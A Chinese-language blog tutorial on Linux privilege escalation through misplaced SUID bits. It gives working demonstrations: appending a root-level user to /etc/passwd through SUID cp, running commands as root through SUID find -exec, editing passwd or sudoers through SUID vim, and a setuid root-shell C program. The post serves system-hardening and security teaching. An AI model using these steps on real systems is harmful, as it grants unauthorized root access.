LINUX s权限位提权
我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:
1find / -perm -u=s -type f 2>/dev/null
一、cp suid 示例
给 cp命令suid:
1[root@361way ~]# whereis cp
2cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz
3[root@361way ~]# ll /usr/bin/cp
4-rwxr-xr-x 1 root root 151136 Aug 6 2016 /usr/bin/cp
5[root@361way ~]# chmod u+s /bin/cp
普通用户提权:
1[zabbix@localhost ~]$ cat /etc/passwd >passwd
2[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3$1$hack$WTn0dk2QjNeKfl.DHOUue0
4[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5[zabbix@localhost ~]$ cp passwd /etc/passwd
6[zabbix@localhost ~]$ su - hack
7Password:
8[root@361way ~]# id
9uid=0(hack) gid=0(root) groups=0(root)
10[root@361way ~]# cat /etc/passwd|tail -1
11hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
同样的给awk、sed这类具有写文件权限的命令以suid权限,都可以造成提权。
二、find suid
给find命令提权后,可以利用其exec参数以root权限执行任意命令:
1[root@361way ~]# which find
2/usr/bin/find
3[root@361way ~]# ll /usr/bin/find
4-rwxr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
5[root@361way ~]# chmod u+s /usr/bin/find
6[root@361way ~]# su - zabbix
7[zabbix@361way ~]$ ll
8total 8720
9-rw-r--r-- 1 zabbix zabbix 3006 Jan 2 15:00 passwd
10-rw-r--r-- 1 tcpdump tcpdump 8924686 Dec 13 16:56 test.cap
11[zabbix@361way ~]$ find passwd -exec "whoami" \;
12root
13[zabbix@361way ~]$ find ./ -name "passwd" -exec "id" \;
14uid=1003(zabbix) gid=1003(zabbix) euid=0(root) groups=1003(zabbix)
三、编辑器suid权限
linux下常用的编辑器有vim、Emacs、nano 。这里以vim和nano为例吧。
1[root@361way tmp]# which vim
2/usr/bin/vim
3[root@361way tmp]# ll /usr/bin/vim
4-rwxr-xr-x 1 root root 2294256 Apr 11 2018 /usr/bin/vim
5[root@361way tmp]# chmod u+s /usr/bin/vim
6[root@361way tmp]# su - zabbix
7[zabbix@361way ~]$ vim /etc/passwd
8[zabbix@361way ~]$ vim etc/sudoers
给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/passwd,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。
nano的效果也是一样的。
四、自定义命令 suid权限
如下一个自定义的C程序,代码如下:
1[root@361way tmp]# cat a.c
2#include <stdio.h>
3#include <sys/types.h>
4#include <unistd.h>
5int main(void)
6{
7 setuid(0);
8 system("/bin/bash");
9 return 0;
10}
执行如下命令进行编译并授权后,直接可以切换root权限:
1[root@361way tmp]# gcc -o a a.c
2[root@361way tmp]# chmod u+s a
3[root@361way tmp]# su - zabbix
4[zabbix@361way tmp]$ ./a
5[root@361way tmp]# id
6uid=0(root) gid=0(root) groups=0(root)
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/suid-privilege/5965.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.